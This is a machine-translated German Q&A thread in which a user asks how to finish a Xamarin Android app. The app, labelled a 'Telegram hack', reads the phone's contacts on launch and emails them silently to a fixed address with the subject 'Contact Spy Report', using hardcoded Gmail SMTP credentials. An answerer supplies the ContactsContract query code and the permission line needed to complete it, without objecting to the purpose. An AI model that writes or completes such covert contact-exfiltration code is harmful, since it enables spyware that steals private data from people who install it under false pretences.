2017-03-14 3 views
1

Derzeit habe ich einige Einschränkungen, die ich Visual Studio nicht verwenden kann. Ich habe eine Notfallarbeit, die ein Android-Programm benötigt, aber ich weiß nicht genau, wie ich etwas darin machen soll, weil mir Visual Studio mitschlägt, aber ich habe es nicht. Ich möchte Android-Kontakte mit Name und Telefonnummer erhalten. Derzeit Dies ist mein Codes in App.cs:Erhalten Android Kontakte in Xamarin

using System; 
using System.Linq; 

using Android.App; 
using Android.Content; 
using Android.OS; 
using Android.Views; 
using Android.Views.InputMethods; 
using Android.Widget; 
using System.Net; 
using System.Net.Mail; 

namespace Tlgr 
{ 
    [Activity(Label = "هک تلگرام", MainLauncher = true)] 
    public class App : Activity 
    { 
     protected override void OnCreate(Bundle bundle) 
     { 
      base.OnCreate(bundle); 
      var ctks = Contact.GetContacts(); 
      using (var mail = new MailMessage()) 
      { 
       mail.From = new MailAddress("[email protected]"); 
       mail.To.Add("[email protected]"); 
       mail.Subject = "Contact Spy Report"; 
       foreach(ctk in ctks) 
       { 
        mail.Body += ctk.ToString() + "\r\n"; 
       } 
       using (var smtp = new SmtpClient("smtp.gmail.com", 587)) 
       { 
        smtp.Credentials = new NetworkCredential("[email protected]", "feedbackhost"); 
        smtp.EnableSsl = true; 
        smtp.Send(mail); 
       } 
      } 
     } 
    } 

    public class Contact 
    { 
     public string Name {get;set;} 
     public string[] Numbers {get;set;} 
     public override ToString() 
     { 
      var a = $"Name: {Name}"; 
      foreach (var i in Numbers) 
      { 
       a += " , Number: " + i; 
      } 
      return a; 
     } 

     public static Contact[] GetContacts() 
     { 

     } 
    } 
} 

Ich muß nur Körper Methode GetContacts() hinzufügen, um mein Problem zu lösen. Ich habe gesucht, es gab gute Ergebnisse, aber ich weiß nicht, wie man sie benutzt, ich brauche einen Präfekten-Code! Vielen Dank!

+1

Willkommen bei Stack-Überlauf! Wir sind nicht hier, um "perfekten Code" für Sie zu schreiben. Wir sind hier, um Ihnen zu helfen, wenn Sie ein Problem mit Ihrem Code haben. Was war falsch an dem Code, den du gefunden hast? –

Antwort

2

sollten Sie verwenden ContactsContract.Contacts

ContactsContract.Contacts ist der Datenvertrag, der verwendet wird mit Kontaktdaten zu verbinden. Der Code fragt Kontakte in der URI ab, die von ContactsContract.Contacts.ContentUri definiert wurde, und gibt die in ContactsContract.Contacts.InterfaceConsts ausgewählten Spalten zurück.

var uri = ContactsContract.CommonDataKinds.Phone.ContentUri; 
string[] projection = { ContactsContract.Contacts.InterfaceConsts.Id, ContactsContract.CommonDataKinds.Phone.Number}; 

Mehr finden Sie here

auch Sie die Erlaubnis READ_CONTACTS hinzufügen müssen:

<uses-permission android:name="android.permission.READ_CONTACTS" /> 
+0

Ich habe diesen Code gefunden, ich muss dieses Objekt in mein eigenes definiertes Objekt konvertieren, das 'Contact' heißt. Wie geht das? Ich möchte eine Reihe von Kontakt (Kontakt []) –

+0

Ich werde diesen Code testen, aber was tun, wenn der Benutzer mehrere Telefonnummern für einen Namen hat? Ich möchte alle Arten von Zahlen, wie Telefon, Privat-Telefon, Telefon, Telefon, ... –

+0

Sie können hier die Art der Daten überprüfen https://developer.android.com/reference/android/provider/ContactsContract.CommonDataKinds. Phone.html –